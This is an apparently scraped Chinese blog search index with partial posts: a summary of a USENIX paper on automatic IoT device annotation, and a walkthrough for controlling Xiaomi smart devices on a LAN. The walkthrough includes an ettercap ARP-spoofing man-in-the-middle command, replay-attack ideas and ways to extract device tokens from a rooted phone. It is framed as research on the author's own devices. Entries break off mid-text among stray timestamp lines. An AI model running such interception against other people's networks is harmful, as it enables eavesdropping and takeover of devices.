"https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313806/ARE/1.png" a l t > </p> <p > 所以, 作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实, 第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备, 第二个Figure 2是有许多网站( 如产品测评) 会描述设备产品。从第一个事实, 我们可以从应用层数据包获取关键词, 然后根据这些关键词依据第二个事实进行网页爬虫, 以获取网页上的相关描述, 然后对这些描述进行自然语言处理和数据挖掘, 从而建立起基于规则的映射。</p> <h3 id= "核心工作—Rule-Miner: " > <a href= "#核心工作—Rule-Miner: " class= "headerlink" title= "核心工作—Rule Miner: " > </a> 核心工作—Rule Miner: </h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553313904/ARE/2.png" a l t > </p> <p > Rule Miner由三个部分构成, Transaction set是一对由应用层数据和相关网页组成的文本单元, 它生成了一种规则: , 其中A是<41>
2021-04-10 13:53:56 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 顶会论文 </category>
2021-04-10 13:53:56 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > USENIX </tag>
<tag > 数据挖掘 </tag>
<tag > 自然语言处理 </tag>
</tags>
</entry>
<entry >
<title > 利用miio控制局域网内的小米智能设备</title>
<link href= "/2018/12/15/miio-control/" />
<url > /2018/12/15/miio-control/</url>
<content type= "html" > <![CDATA[<h1 id="控制局域网内的IOT设备"> <a href= "#控制局域网内的IOT设备" class= "headerlink" title= "控制局域网内的IOT设备" > </a> 控制局域网内的IOT设备</h1> <h2 id= "中间人攻击—流量分析" > <a href= "#中间人攻击—流量分析" class= "headerlink" title= "中间人攻击—流量分析" > </a> 中间人攻击—流量分析</h2> <h3 id= "使用Nmap分析局域网内设备, 得到智能设备的IP" > <a href= "#使用Nmap分析局域网内设备, 得到智能设备的IP" class= "headerlink" title= "使用Nmap分析局域网内设备, 得到智能设备的IP" > </a> 使用Nmap分析局域网内设备, 得到智能设备的IP</h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323434/miio/1.png" a l t > <br > 小米智能插座: 192.168.31.197 网关: 192.168.31.147( 控制它的手机ip) </p> <h3 id= "ettercap嗅探智能设备和网关之间的流量" > <a href= "#ettercap嗅探智能设备和网关之间的流量" class= "headerlink" title= "ettercap嗅探智能设备和网关之间的流量" > </a> ettercap嗅探智能设备和网关之间的流量</h3> <p > sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147//</p> <h3 id= "wireshark抓包分析" > <a href= "#wireshark抓包分析" class= "headerlink" title= "wireshark抓包分析" > </a> wireshark抓包分析</h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323435/miio/2.png" a l t > <br > 从图中可以看出, 设备的命令控制包为UDP传输, 既然是UDP协议传输, 那么是否可以通过命令包重放攻击来对设备进行控制? <br > 了解到在homeassistant中可实现对小米设备的集成, 并在其中对设备进行管理和操作。Homeassistant, 主要以Python语言开发, 既然它能操控小米设备, 那它底层肯定有相关的函数调用库。<br > 为了可以消除对专有软件(米家app)的依赖, 并能控制自己的设备, 所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。<br > Miio库支持的设备有: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323434/miio/3.png" a l t > </p> <h2 id= "小米IOT控制流程" > <a href= "#小米IOT控制流程" class= "headerlink" title= "小米IOT控制流程" > </a> 小米IOT控制流程</h2> <p > 在同一局域网中, 小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下, 向小米设备发送hello bytes就可以获得含有token的结构体数据。之后, 构造相应的结构体, 并且以同样的方式发送给设备即可完成控制。具体流程如下: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323435/miio/4.png" a l t > </p> <h2 id= "设备Token的获取方式" > <a href= "#设备Token的获取方式" class= "headerlink" title= "设备Token的获取方式" > </a> 设备Token的获取方式</h2> <p > 小米设备的token获取有三种途径: miio获取、从米家app获取、从数据库获取</p> <h3 id= "miio获取" > <a href= "#miio获取" class= "headerlink" title= "miio获取" > </a> miio获取</h3> <p > 在ubuntu下, 先安装miio, 然后发现设备: <br > npminstall -g miio<br > miiodiscover<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/5.png" a l t > <br > 但是很可惜, 很多设备隐藏了token, 使用该方法可能无法获取到token或获取到的token不正确。</p> <h3 id= "米家app获取" > <a href= "#米家app获取" class= "headerlink" title= "米家app获取" > </a> 米家app获取</h3> <p > 这种方法需要的mijia app版本较老, 且只对部分设备有效。</p> <h3 id= "从数据库获取token" > <a href= "#从数据库获取token" class= "headerlink" title= "从数据库获取token" > </a> 从数据库获取token</h3> <p > 这种方法仅在Mi Home 5.0.19之前的版本可用。<br > 该方法是读取手机中米家的app中的数据记录来获取设备的token, 具体步骤如下: </p> <ul > <li > 准备一部获取root权限的安卓手机</li> <li > 安装米家app并登录账号</li> <li > 进入/data/data/com.
2021-04-10 13:53:56 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2021-04-10 13:53:56 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 小米 </tag>
<tag > miio </tag>
<tag > 中间人 </tag>
<tag > 重放攻击 </tag>
</tags>
</entry>
<entry >
<title > Hello World</title>
<link href= "/2000/01/01/hello-world/" />
<url > /2000/01/01/hello-world/</url>
<content type= "html" > <![CDATA[<p>你好!我是混元霹雳手</p>]]> </content>
</entry>
2019-04-15 07:42:42 +00:00
</search>